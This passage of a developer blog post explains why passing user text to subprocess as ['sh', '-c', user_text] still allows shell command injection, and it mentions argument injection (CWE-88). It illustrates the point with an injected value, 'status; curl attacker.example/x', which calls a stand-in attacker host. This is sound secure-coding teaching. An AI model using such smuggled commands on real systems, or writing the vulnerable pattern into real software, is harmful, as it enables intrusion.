I review a lot of Python that calls other programs. The bug I keep finding is not the one everybody warns about.
Nobody writes subprocess.run(cmd, shell=True) any more. What they write is this:
subprocess . run ( [ "sh" , "-c" , user_text ] , check = True )
Enter fullscreen mode
Exit fullscreen mode
That is an argv list. shell=False is the default. It still hands user_text to a shell, because sh -c means "parse the next argument as a program." A value like status; curl attacker.example/x arrives as one perfectly well-behaved argv element, and sh splits it into two commands. The argv list stopped Python from splicing metacharacters into a string. It did nothing about a program whose entire job is to parse its argument.
Two quieter members of the same family turn up in review as well:
a value that begins with - reaches a tool as an option instead of a value (CWE-88).β¦